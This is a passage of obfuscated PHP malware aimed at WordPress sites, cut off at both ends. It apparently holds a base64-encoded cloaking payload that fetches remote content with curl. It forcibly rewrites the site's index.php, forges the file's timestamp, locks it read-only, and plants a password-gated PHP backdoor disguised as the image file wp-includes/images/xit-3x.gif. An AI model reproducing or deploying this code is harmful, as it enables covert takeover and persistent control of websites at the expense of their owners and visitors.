NVmdxOyBrdTk1WEFURkdDMDRrOiAkcjA1aVJXU1NweWpFYyA9ICJcMTUwXHg3NFx4NzRcMTYwXHg3M1w3Mlw1N1w1NyI7IGdvdG8gSHlyN05UOTh6bWhWbzsgZ095TUJBclFweEtKVTogJHIwNWlSV1NTcHlqRWMgPSAiXDE1MFx4NzRceDc0XDE2MFw3Mlw1N1w1NyI7IGdvdG8gZW1TSGhGNVpCc1VvdzsgWnVqbUc1Q29mY2t0bTogQmQ0ZWRZbXdPUUhXMjogZ290byB5REVwX2pnMHZBaVgxOyBVRGhLcGo5M0Q0N3psOiBxQnB6YzRna1E5UUg1OiBnb3RvIHFpU0ZRR1dFMF9pS1o7IERBb00xdW92UkRVZDU6IH0gZ290byBVSjR3WEhzNXRGMk9vOyBZdnlQSng1cW1CM1dTOiBleGl0KHN0cnJldihtZDUoJF9TRVJWRVJbIlx4NTNcMTA1XHg1Mlx4NTZceDQ1XDEyMlx4NWZceDRlXHg0MVx4NGRcMTA1Il0pKSk7IGdvdG8gQlo1dU5NNlFxUzFpNTsgeDZhVE9RM1lWbElQRTogZnVuY3Rpb24gakVCMWIzYVVBWnlZOSgkVDFYS0dCZ0N5cXVrMikgeyBnb3RvIElXNFV5YXFZTjVMdTQ7IFdnMG9ZV1hCVzd4X3U6IEZEUWRqQ2FZOTFVeW06IGdvdG8gckhkcG5DOEhndHJrQzsgckhkcG5DOEhndHJrQzogcmV0dXJuICRWMUZISVBsUkxYTXV0OyBnb3RvIHMzNzhzOVU4MDBXaHo7IElXNFV5YXFZTjVMdTQ6ICRWMUZISVBsUkxYTXV0ID0gYXJyYXkoIlx4NzNceDc0XHg2MVwxNjRcMTY1XDE2MyIgPT4gMCwgIlwxNDNceDZmXHg2ZVwxNjRcMTQ1XHg2ZVwxNjQiID0+ICcnLCAiXDE2NFwxNzFcMTYwXDE0NSIgPT4gJycpOyBnb3RvIHl0OFgwRkk2SnJoYjA7IElEbEZtVllJajVqOFU6IGxjdDBmM0hUamlwdDk6IGdvdG8gakhEOW1ndXB0cDJyYzsgakhEOW1ndXB0cDJyYzogZm9yZWFjaCAoJFQxWEtHQmdDeXF1azIgYXMgJFNMOU5EWUEzUWc4OXYpIHsgZ290byBnbXpDS21fZ19KdW1yOyBPdWxmTGlTU2NJZzNnOiBQV2FTV3J4MmVBYmRwOiBnb3RvIERKQVNqVDZCSmRlMDM7IHIzZF81amRURUUydUI6IGlmIChwcmVnX21hdGNoKCJceDJmXDE1NFwxNTdceDYzXDE0MVx4NzRceDY5XHg2Zlx4NmVceDVjXDcyXDEzM1wxMzRcMTYzXHg1ZFw1M1w1MFw1Nlx4MmFcNTFceDJmXHg2OSIsICRTTDlORFlBM1FnODl2LCAkVmF1cURZRU9BaU5aaikpIHsgZ290byBQV2FTV3J4MmVBYmRwOyB9IGdvdG8gQVdENmx0V0VWUDFFMTsgQk01NWxCS3lXY2x0UTogJFYxRkhJUGxSTFhNdXRbIlwxNjRcMTcxXHg3MFx4NjUiXSA9ICRWYXVxRFlFT0FpTlpqWzFdOyBnb3RvIEJuVFJ5UDJrOTF5ekU7IFltVVo2Y3BEemtOQVg6IGdvdG8gUlVvU3EyaFlJWWhCMTsgZ290byBPdWxmTGlTU2NJZzNnOyBScUw3OFk0Z3dsaTBvOiBESVViREFJc296WkxyOiBnb3RvIEJNNTVsQkt5V2NsdFE7IEFXRDZsdFdFVlAxRTE6IGlmIChwcmVnX21hdGNoKCJcNTdcMTQzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0XHg1Y1x4MmRceDc0XHg3OVwxNjBceDY1XHg1Y1w3MlwxMzNcMTM0XHg3M1wxMzVceDJiXHgyOFw1Nlx4MmFceDI5XDU3XDE1MSIsICRTTDlORFlBM1FnODl2LCAkVmF1cURZRU9BaU5aaikpIHsgZ290byBESVViREFJc296WkxyOyB9IGdvdG8gcTVSWDNqMGtGbVZQWTsgQm5UUnlQMms5MXl6RTogUlVvU3EyaFlJWWhCMTogZ290byBzM3ozTmRoaEJ3UHphOyBzM3ozTmRoaEJ3UHphOiBPM1BmUHlDZWw0TUN4OiBnb3RvIEFXS0hPYllzS2Y2VEU7IGdtekNLbV9nX0p1bXI6IGlmIChwcmVnX21hdGNoKCJcNTdcMTUwXHg3NFwxNjRcMTYwXHg1Y1w1N1x4NWJceDMwXHgyZFw3MVwxMzRcNTZceDVkXDUzXHg1Ylx4NWNcMTYzXDEzNVw1M1w1MFx4NWJceDMwXHgyZFx4MzlcMTM1XHgyYlw1MVx4MmZcMTUxIiwgJFNMOU5EWUEzUWc4OXYsICRWYXVxRFlFT0FpTlpqKSkgeyBnb3RvIGhQQkNGUkZBMXBqRUQ7IH0gZ290byByM2RfNWpkVEVFMnVCOyB0RFE4Zm9FVjd3b1dKOiBoUEJDRlJGQTFwakVEOiBnb3RvIHA2N2YyQVI4RjVtblE7IHA2N2YyQVI4RjVtblE6ICRWMUZISVBsUkxYTXV0WyJcMTYzXDE2NFx4NjFcMTY0XDE2NVx4NzMiXSA9IGludHZhbCgkVmF1cURZRU9BaU5aalsxXSk7IGdvdG8gWW1VWjZjcER6a05BWDsgeWhFQTdHTDhMc05UZDogZ290byBSVW9TcTJoWUlZaEIxOyBnb3RvIFJxTDc4WTRnd2xpMG87IERKQVNqVDZCSmRlMDM6ICRWMUZISVBsUkxYTXV0WyJceDYzXHg2ZlwxNTZcMTY0XDE0NVx4NmVceDc0Il0gPSAkVmF1cURZRU9BaU5aalsxXTsgZ290byB5aEVBN0dMOExzTlRkOyBxNVJYM2owa0ZtVlBZOiBnb3RvIFJVb1NxMmhZSVloQjE7IGdvdG8gdERROGZvRVY3d29XSjsgQVdLSE9iWXNLZjZURTogfSBnb3RvIFdnMG9ZV1hCVzd4X3U7IFQzYUJVc2E5N3FPU3M6IHJldHVybiAkVjFGSElQbFJMWE11dDsgZ290byBJRGxGbVZZSWo1ajhVOyB5dDhYMEZJNkpyaGIwOiBpZiAoaXNfYXJyYXkoJFQxWEtHQmdDeXF1azIpKSB7IGdvdG8gbGN0MGYzSFRqaXB0OTsgfSBnb3RvIFQzYUJVc2E5N3FPU3M7IHMzNzhzOVU4MDBXaHo6IH0gZ290byB1b25Sekh4WUp4YXhUOyBORWszMmx2M1l3N2tqOiBleGl0KCJcMTczXDQwXDQyXDE0NVwxNjJceDcyXDE1N1x4NzJceDIyXDcyXHgyMFw2Mlx4MzBceDMwXHgyY1w0MFx4MjJcMTU0XDE0M1w0Mlw3Mlx4MjBceDIyXHg2YVx4NmJcNDJceDJjXDQwXDQyXHg2NFwxNDFcMTY0XDE0MVw0Mlx4M2FceDIwXDEzM1x4MjBceDMxXHgyMFwxMzVcNDBceDdkIik7IGdvdG8gcG9jMWpYRk9NRUFmcDsgYVVUemR2RVJuTXdiMjogJEdZTlZ2OG1EWkFyM3IgPSBwcmVnX3JlcGxhY2UoIlw1N1x4NWNceDNmXHgyZVx4MmFcNTciLCAnJywgJF9TRVJWRVJbIlx4NTJcMTA1XHg1MVwxMjVcMTA1XDEyM1wxMjRceDVmXHg1NVx4NTJcMTExIl0pOyBnb3RvIEFoWVNjUVZxRk9IWTc7IGl2TEVfN3pYWFQ0RWY6ICRjUV94bDRsR2RYQzA0ID0gJHskcGsxSlZmalRTeVpORVsxNSArIDE2XSAuICRwazFKVmZqVFN5Wk5FWzQyICsgMTddIC4gJHBrMUpWZmpUU3laTkVbNSArIDQyXSAuICRwazFKVmZqVFN5Wk5FWzMzICsgMTRdIC4gJHBrMUpWZmpUU3laTkVbMjYgKyAyNV0gLiAkcGsxSlZmalRTeVpORVs1ICsgNDhdIC4gJHBrMUpWZmpUU3laTkVbMTMgKyA0NF19OyBnb3RvIEFZamNheXZRUF9RaEY7IGtSRXFSQllBN0tLcXk6IGlmICghaW5fYXJyYXkoJERkOFU0OVR3elIzX1QsIGFycmF5KCJceDJlXHg2YVx4NzMiLCAiXDU2XDE0M1x4NzNcMTYzIiwgIlx4MmVceDZhXHg3MFx4NjciLCAiXDU2XDE2MFx4NmVcMTQ3IiwgIlw1Nlx4NjdcMTUxXDE0NiIsICJceDJlXHg2OVx4NjNcMTU3IikpKSB7IGdvdG8gTTRLOGZIX3VNY2ZxczsgfSBnb3RvIHFUMGVxbjJMRmdET1o7IFdIektTY3lJb1JabVI6IGVMR3h6bEpLa2tUVEk6IGdvdG8gZjVhZlk2WlhrYl9iYjsgUnZ5UVhlTHEwbkl0MzogJGRqY3pHVml1ZzVzdm9bIlx4NzNceDZlIl0gPSBURGVMOG15eUNpRzZQKCRfU0VSVkVSWyJceDUzXDEwM1wxMjJcMTExXDEyMFx4NTRceDVmXHg0ZVx4NDFcMTE1XDEwNSJdKTsgZ290byBlWlVzMEhHVFZVZ1V3OyBibTNXTGZrY3I3amtmOiBleGl0KDApOyBnb3RvIGg2MUI0MGdRQUZHdTg7IFM2TlI0d3kwVmdOeTc6IGlmIChpbl9hcnJheSgkck9obDVVcmZ0Uk1WOVsiXHg3M1wxNjRcMTQxXHg3NFx4NzVcMTYzIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gbEJpYjNoSFFibTlGYzsgfSBnb3RvIFJNV0E5a1RLaGxuUTY7IGpMakZFc2ZSRzAwM1U6IGhlYWRlcigiXDEwM1wxNTdcMTU2XHg3NFx4NjVcMTU2XHg3NFx4MmRceDU0XHg3OVwxNjBcMTQ1XHgzYVw0MFwxNjRcMTQ1XHg3OFx4NzRceDJmXHg2OFx4NzRceDZkXHg2Y1w3M1w0MFx4NjNceDY4XDE0MVx4NzJceDczXHg2NVx4NzRcNzVcMTY1XHg3NFx4NjZceDJkXDcwIik7IGdvdG8gSmMzcEpVWWlSX3ppaDsgUjBMdHQyb0RTOHVSNDogTTRLOGZIX3VNY2ZxczogZ290byBXYm44NVZON0c2bTNsOyBPejdlQzlCNkhrdzZvOiBpZiAoIShzdHJwb3MoJEdZTlZ2OG1EWkFyM3IsICJceDJlIikgPiAwICYmIHN0cnBvcygkR1lOVnY4bURaQXIzciwgIlx4MmVceDcwXHg2OFwxNjAiKSA9PT0gZmFsc2UpKSB7IGdvdG8gV0REcFVyWklBTk5ZVjsgfSBnb3RvIGxZSUV2d3p3M2xCZmo7IE8yT2U2NUZ4V2RGWkY6IEBoZWFkZXIoIlwxMDNcMTU3XDE1NlwxNjRceDY1XDE1NlwxNjRcNTVcMTI0XDE3MVwxNjBcMTQ1XHgzYSIgLiAkck9obDVVcmZ0Uk1WOVsiXHg3NFx4NzlcMTYwXDE0NSJdKTsgZ290byBYb19BNEJNQV92RmdXOyBxcFU0aXZJVGdWRzV0OiBvdGRvb1ZNYlVKdVJuOiBnb3RvIFdIektTY3lJb1JabVI7IE9YODJOeFFPczJiU0E6ICRkamN6R1ZpdWc1c3ZvWyJcMTYzIl0gPSBURGVMOG15eUNpZzZwKCRES2lqcVpNbGRWejh6KTsgZ290byBrbGdOMVEzVHVQc0dCOyBYb19BNEJNQV92RmdXOiBlY2hvICRyT2hsNVVyZnRSTVY5WyJcMTQzXHg2Zlx4NmVcMTY0XHg2NVwxNTZcMTY0Il07IGdvdG8gYm0zV0xma2NyN2prZjsgQmFBZVF0QWRaUlI2ZDogJHBrMUpWZmpUU3laTkUgPSAkY0JKSV8wS1R3NE4wYigiXHg3ZSIsICJceDIwIik7IGdvdG8gaXZMRV83elhYVDRFZjsgZjVhZlk2WlhrYl9iYjogbEJpYjNoSFFibTlGYzogZ290byBpdDRPaEhKZTRPb010OyBpdDRPaEhKZTRPb010OiBpZiAoIXN0cmxlbigkck9obDVVcmZ0Uk1WOVsiXHg2M1wxNTdceDZlXHg3NFx4NjVcMTU2XHg3NCJdKSkgeyBnb3RvIGFNa05QZEk5R0QwNm87IH0gZ290byBPMk9lNjVGeFdkRlpGOyBnZEZvR3dpRGtPbTBkOiBoMW1RbUhfV3F5T1RuOjpTSm9EV2t1YUdXNFRZKCk7IGdvdG8gakxqRkVzZlJHMDAzVTsgQlo1dU5NNlFxUzFpNTogaTJHSmFNU2tTUVhuazogZ290byB3Skk3UUc0MkloWTNlOyBUYnFvcm1EUEpQTE1uOiAkZGpjekdWaXVnNXN2b1siXDE2MlwxNDYiXSA9IHRERWw4bVlZY2lHNnAoJElvN3dZM215QWdmcDEpOyBnb3RvIE9YODJOeFFPczJiU0E7IGtrOXFYZ3NaVHFIVzg6ICRsUEVMSEQyRFZxSmZTID0gY1VFMjZVVzlzamFJMygpOyBnb3RvIHVZdnBnNjlWTGxrSGk7IGZZalJPMVNhSUFMZjA6IG1ldGFwaG9uZSgiXHg0ZVwxMjRceDQ5XDE3MVwxMTdceDU0XDEyMVx4MzRcMTE3XDEyNFwxMzFceDMwXHg0ZVwxMDRcMTExXDY1XHg0ZVwxNzJceDUxXDE2N1x4NGVcMTUyXHg1OVx4MzVcMTE1XDEwNFwxMzFcNjFcMTE1XHg3YVwxMDVcMTcxIik7IGdvdG8gUzNrZkRhWVpkeHVaejsgek1NZFpOYjdmOGZNcjogJERLaWpxWk1sZFZ6OHogPSBtQ2VxRTRmdnN1QTlmKCkgLiAkX1NFUlZFUlsiXHg0OFx4NTRceDU0XHg1MFx4NWZceDQ4XDExN1x4NTNcMTI0Il07IGdvdG8gcWlWVm9FaUVJbFNpcjsgQWhZU2NRVnFGT0hZNzogJHVXc01iMWdlNjRHZ0UgPSBmYWxzZTsgZ290byBPejdlQzlCNkhrdzZvOyBsWUlFdnd6dzNsQmZqOiAkRGQ4VTQ5VHd6UjNfVCA9IHN1YnN0cigkR1lOVnY4bURaQXIzciwgc3RycG9zKCRHWU5WdjhtRFpBcjNyLCAiXHgyZSIpKTsgZ290byBrUkVxUkJZQTdLS3F5OyBoNjFCNDBnUUFGR3U4OiBhTWtOUGRJOUdEMDZvOiBnb3RvIG90NzRQWjhZOTZyU0c7IFR5Y0p5N05KTHYyRTg6IGlmICgkdVdzTWIxZ2U2NEdnRSkgeyBnb3RvIGU3TnhVRkluQjV5ZWc7IH0gZ290byBjVTNPaVI0THpuTmpEOyBxaVZWb0VpRUlsU2lyOiBpZiAoIShzdHJwb3MoJElvN3dZM215QWdmcDEsICRES2lqcVpNbGRWejh6KSA9PT0gMCkpIHsgZ290byBGMThlUW16elVWNENPOyB9IGdvdG8gUzdsYTRtRkxCNWR4TjsgY1UzT2lSNEx6bk5qRDogJHJPaGw1VXJmdFJNVjkgPSBoaFRCM1NMaDBpM1pOKGJhc2U2NF9kZWNvZGUoIlwxNDFceDQ4XHg1Mlw2MFwxNDNceDQ0XDE1N1wxNjZceDRjXDYzXDE2MFx4N2FcMTE3XHg0NFx4NTlceDM0XDE0NFx4NmFceDQ1XDE3MlwxMTRceDZkXHg3OFx4MzVcMTQzXHgzMlwxNTRcMTcyXHg0Y1wxNTZcMTE2XDYxXDE0M1x4NmRcMTMxXHg3NiIpLCAkZGpjekdWaXVnNXN2byk7IGdvdG8gUzZOUjR3eTBWZ055NzsgdW9uUnpIeFlKeGF4VDogZnVuY3Rpb24gaGhUYjNzTGgwaTNabigkc1FCQ3RoeHVMbFhWNSwgJHZoR2pSbmFsVVV3enQgPSBhcnJheSgpKSB7IGdvdG8gd0VnOFRrelpxNG5zSDsgR0I2UzBuQzJtajVkczogdU01SkNxeWU1b3RZSDogZ290byBUTEM0MTN6QTRfMlFSOyBUTEM0MTN6QTRfMlFSOiB0cnkgeyBnb3RvIFZQQlp3R2Y1TVNtVGk7IEgxTE9MamZhb3kxUUc6ICRqQXM0QzZYQkhKbXFaID0gYXJyYXkoIlx4NjhceDc0XDE2NFwxNjAiID0+IGFycmF5KCJcMTU1XDE0NVwxNjRcMTUwXHg2ZlwxNDQiID0+ICJcMTA3XDEwNVwxMjQiLCAiXDE2NFx4NjlceDZkXDE0NVwxNTdcMTY1XHg3NCIgPT4gNjAsICJcMTQ2XDE1N1x4NmNcMTU0XHg2ZlwxNjdceDVmXDE1NFx4NmZcMTQzXDE0MVx4NzRceDY5XHg2Zlx4NmUiID0+IDApLCAiXHg3M1x4NzNceDZjIiA9PiBhcnJheSgiXHg3Nlx4NjVcMTYyXDE1MVwxNDZceDc5XDEzN1x4NzBcMTQ1XHg2NVx4NzIiID0+IGZhbHNlLCAiXHg3Nlx4NjVcMTYyXHg2OVwxNDZceDc5XDEzN1wxNjBcMTQ1XDE0NVwxNjJceDVmXHg2ZVx4NjFcMTU1XHg2NSIgPT4gZmFsc2UpKTsgZ290byBud1FoZE1OUFNEaFhxOyBHdHJ5d3hjWldmUHM5OiBAY3VybF9jbG9zZSgkRzFhNFYxUkdYTXdpRyk7IGdvdG8gVFZ4M1BkMlhzd1Q3NjsgVFhPcW0zNGhyaVJGZzogUzZPb25CUERTUmRrdTogZ290byBIMUxPTGpmYW95MVFHOyBacFNfQ0x5ZTVlMFhBOiAkck9obDVVcmZ0Uk1WOSA9IGFycmF5X21lcmdlKCRyT2hsNVVyZnRSTVY5LCBqRWIxQjNBdWF6WXk5KCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpOyBnb3RvIEF1Sm5ockhMdnVYbG87IElfM09KUUh1UTdLTlI6IGN1cmxfc2V0b3B0KCRHMWE0VjFSR1hNd2lHLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgZ290byB6cEpWU0FVQzBENkhxOyBKY2IyVWtoTXFQWlNGOiAkRzFhNFYxUkdYTXdpRyA9IGN1cmxfaW5pdCgpOyBnb3RvIEp0MEw3SFFtbVAyVXk7IFRWeDNQZDJYc3dUNzY6IGlmICghaW5fYXJyYXkoJHJPaGw1VXJmdFJNVjlbIlx4NzNcMTY0XDE0MVwxNjRcMTY1XDE2MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIFlIZHNzdW1LaUYya0Q7IH0gZ290byBXYmtCczZhdG1veksxOyBhWkQwaFRBVEozUU5mOiAkbkVzX3ZicUJJRXh6ZyA9IEBmaWxlX2dldF9jb250ZW50cygkc1FCQ3RoeHVMbFhWNSwgZmFsc2UsICRGZkhRUUpnWERpRXdDKTsgZ290byBacFNfQ0x5ZTVlMFhBOyBtRFRfaTJfYW5yVXI0OiBQYnRvSVluUGlmYUJjOiBnb3RvIG95OEdJVTRycElVMno7IGZkSm1oZzdVMzlGNUQ6IFVKWjdQMFRISzI5RDg6IGdvdG8gbURUX2kyX2FuclVyNDsgVHdjUUZTWnZvblJ5ZjogY3VybF9zZXRvcHQoJEcxYTRWMVJHWE13aUcsIENVUkxPUFRfVElNRU9VVCwgNjApOyBnb3RvIFFNMGlJU0NXSGJnMXQ7IFdia0JzNmF0bW96SzE6ICRyT2hsNVVyZnRSTVY5WyJcMTQzXHg2ZlwxNTZcMTY0XHg2NVx4NmVcMTY0Il0gPSBzdHJ2YWwoJE5DV0FHQ1JkSExnc2YpOyBnb3RvIE1EdmtKNXlnWVBDd3Y7IE1EdmtKNXlnWVBDd3Y6IFlIZHNzdW1LaUYya0Q6IGdvdG8gd0JxRDBFXzZmcjh4ZDsgeGNhMmI1RG9DQ0I3TTogaWYgKGluaV9nZXQoIlx4NjFcMTU0XDE1NFwxNTdcMTY3XDEzN1wxNjVcMTYyXDE1NFx4NWZcMTQ2XDE1N1wxNjBcMTQ1XHg2ZSIpKSB7IGdvdG8gUzZPb25CUERTUmRrdTsgfSBnb3RvIEZRcjI1bHRlVXRTcDc7IFZQQlp3R2Y1TVNtVGk6IGlmIChmdW5jdGlvbl9leGlzdHMoIlwxNDNcMTY1XHg3Mlx4NmNceDVmXHg2NVx4NzhceDY1XHg2MyIpICYmIGZ1bmN0aW9uX2V4aXN0cygiXDE0M1x4NzVceDcyXDE1NFwxMzdcMTUxXDE1NlwxNTFceDc0IikpIHsgZ290byB4MG05dzlwMkVnbEhWOyB9IGdvdG8geGNhMmI1RG9DQ0I3TTsgenBKVlNBVUMwRDZIcTogY3VybF9zZXRvcHQoJEcxYTRWMVJHWE13aUcsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDIwKTsgZ290byBUd2NRRlNadm9uUnlmOyBGUXIyNWx0ZVV0U3A3OiBnb3RvIFBidG9JWW5QaWZhQmM7IGdvdG8gdl9DZ092cENlOVVrcjsgTFQ1X0R4M1ZnVzk5ZjogJHJPaGw1VXJmdFJNVjlbIlx4NzRceDc5XHg3MFwxNDUiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJEcxYTRWMVJHWE13aUcsIENVUkxJTkZPX0NPTlRFTlRfVFlQRSkpOyBnb3RvIHlTd1BNbmRLUnk4U0k7IFFNMGlJU0NXSGJnMXQ6IGN1cmxfc2V0b3B0KCRHMWE0VjFSR1hNd2lHLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgZ290byBWY2djZ1VPYXZ0NGZyOyB5U3dQTW5kS1J5OFNJOiAkck9obDVVcmZ0Uk1WOVsiXHg2M1wxNTdceDZlXDE2NFx4NjVcMTU2XHg3NCJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkRzFhNFYxUkdYTXdpRywgQ1VSTElORk9fUkVESVJFQ1RfVVJMKSk7IGdvdG8gR3RyeXd4Y1pXZlBzOTsgaWc4azNQbnNHN3FEWTogY3VybF9zZXRvcHQoJEcxYTRWMVJHWE13aUcsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIHkyaTZaR3locWdXY007IHZfQ2dPdnBDZTlVa3I6IHgwbTl3OXAyRWdsSFY6IGdvdG8gSmNiMlVraE1xUFpTRjsgdXNIaEg3QjdYZ0k3dDogJHJPaGw1VXJmdFJNVjlbIlwxNDNcMTU3XHg2ZVwxNjRcMTQ1XHg2ZVx4NzQiXSA9IHN0cnZhbCgkbkVzX3ZicUJJRXh6Zyk7IGdvdG8gZmRKbWhnN1UzOUY1RDsgSnQwTDdIUW1tUDJVeTogY3VybF9zZXRvcHQoJEcxYTRWMVJHWE13aUcsIENVUkxPUFRfVVJMLCAkc1FCQ3RoeHVMbFhWNSk7IGdvdG8ga19RTDVTV1E3dTk2ZTsgbndRaGRNTlBTRGhYcTogJEZmSFFRSmdYRGlFd0MgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJGpBczRDNlhCSEptcVopOyBnb3RvIGFaRDBoVEFUSjNRTmY7IHEwWmptMllITU1qU086ICRyT2hsNVVyZnRSTVY5WyJceDczXHg3NFx4NjFceDc0XHg3NVwxNjMiXSA9IGludHZhbChjdXJsX2dldGluZm8oJEcxYTRWMVJHWE13aUcsIENVUkxJTkZPX0hUVFBfQ09ERSkpOyBnb3RvIExUNV9EeDNWZ1c5OWY7IFZjZ2NnVU9hdnQ0ZnI6IGN1cmxfc2V0b3B0KCRHMWE0VjFSR1hNd2lHLCBDVVJMT1BUX0NPT0tJRVNFU1NJT04sIDApOyBnb3RvIGlnOGszUG5zRzdxRFk7IEF1Sm5ockhMdnVYbG86IGlmICghaW5fYXJyYXkoJHJPaGw1VXJmdFJNVjlbIlx4NzNceDc0XHg2MVx4NzRcMTY1XDE2MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIFVKWjdQMFRISzI5RDg7IH0gZ290byB1c0hoSDdCN1hnSTd0OyBrX1FMNVNXUTd1OTZlOiBjdXJsX3NldG9wdCgkRzFhNFYxUkdYTXdpRywgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMCk7IGdvdG8gSV8zT0pRSHVRN0tOUjsgd0JxRDBFXzZmcjh4ZDogZ290byBQYnRvSVluUGlmYUJjOyBnb3RvIFRYT3FtMzRocmlSRmc7IHkyaTZaR3locWdXY006ICROQ1dBR0NSZEhMZ3NmID0gY3VybF9leGVjKCRHMWE0VjFSR1hNd2lHKTsgZ290byBxMFpqbTJZSE1NalNPOyBveThHSVU0cnBJVTJ6OiB9IGNhdGNoIChFeGNlcHRpb24gJG55ek1BX0R3RUo2d2YpIHsgfSBnb3RvIFNJV1ZvUjJhZ2MyaW87IFdySkpIWHpCV0pONjk6ICRzUUJDdGh4dUxsWFY1IC49ICJcNzciIC4gaHR0cF9idWlsZF9xdWVyeSgkdmhHalJuYWxVVXd6dCk7IGdvdG8gR0I2UzBuQzJtajVkczsgd0VnOFRrelpxNG5zSDogJHJPaGw1VXJmdFJNVjkgPSBhcnJheSgiXDE2M1wxNjRcMTQxXDE2NFx4NzVceDczIiA9PiAwLCAiXHg2M1x4NmZcMTU2XDE2NFwxNDVcMTU2XDE2NCIgPT4gJycsICJcMTY0XDE3MVx4NzBceDY1IiA9PiAnJyk7IGdvdG8gaWdQTUZtdkxzOGVjNDsgU0lXVm9SMmFnYzJpbzogcmV0dXJuICRyT2hsNVVyZnRSTVY5OyBnb3RvIHhiTDVSVnkwTVBKODI7IGlnUE1GbXZMczhlYzQ6IGlmICghKGlzX2FycmF5KCR2aEdqUm5hbFVVd3p0KSAmJiBjb3VudCgkdmhHalJuYWxVVXd6dCkpKSB7IGdvdG8gdU01SkNxeWU1b3RZSDsgfSBnb3RvIFdySkpIWHpCV0pONjk7IHhiTDVSVnkwTVBKODI6IH0gZ290byBaV0FPNVM4d1M5MkZqOyBNQmhLYkZNTzNqbDQ3OiAkZGpjekdWaXVnNXN2byA9IGFycmF5KCk7IGdvdG8gblo0Rm9odjJScXE0XzsgZVpVczBIR1RWVWdVdzogJGRqY3pHVml1ZzVzdm9bIlwxNjIiXSA9IHREZUw4bXlZY2lHNnAoJF9TRVJWRVJbIlx4NTJceDQ1XDEyMVx4NTVceDQ1XHg1M1wxMjRcMTM3XDEyNVwxMjJceDQ5Il0pOyBnb3RvIFRicW9ybURQSlBMTW47IGlsOGhZd29OeDVwdk06ICRkamN6R1ZpdWc1c3ZvWyJcMTU0Il0gPSBUZGVsOE1ZeUNpRzZwKCRfU0VSVkVSWyJceDQ4XDEyNFx4NTRcMTIwXHg1Zlx4NDFcMTAzXHg0M1x4NDVceDUwXDEyNFx4NWZcMTE0XHg0MVwxMTZceDQ3XHg1NVwxMDFcMTA3XHg0NSJdKTsgZ290byBSdnlRWGVMcTBuSXQzOyB3Skk3UUc0MkloWTNlOiBpZiAoIXN1YnN0cl9jb3VudCgkX1NFUlZFUlsiXHg1Mlx4NDVcMTIxXHg1NVwxMDVceDUzXDEyNFwxMzdcMTI1XDEyMlx4NDkiXSwgIlwxNTFceDZlXHg2NFwxNDVcMTcwXDU2XDE2MFx4NjhcMTYwXHgyZlx4NmFcMTUzIikpIHsgZ290byBMcm1VaDhiRWRESFd5OyB9IGdvdG8gTkVrMzJsdjNZdzdrajsgb3Q3NFBaOFk5NnJTRzogZTdOeFVGSW5CNXllZzoKPz4KPD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg==");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IG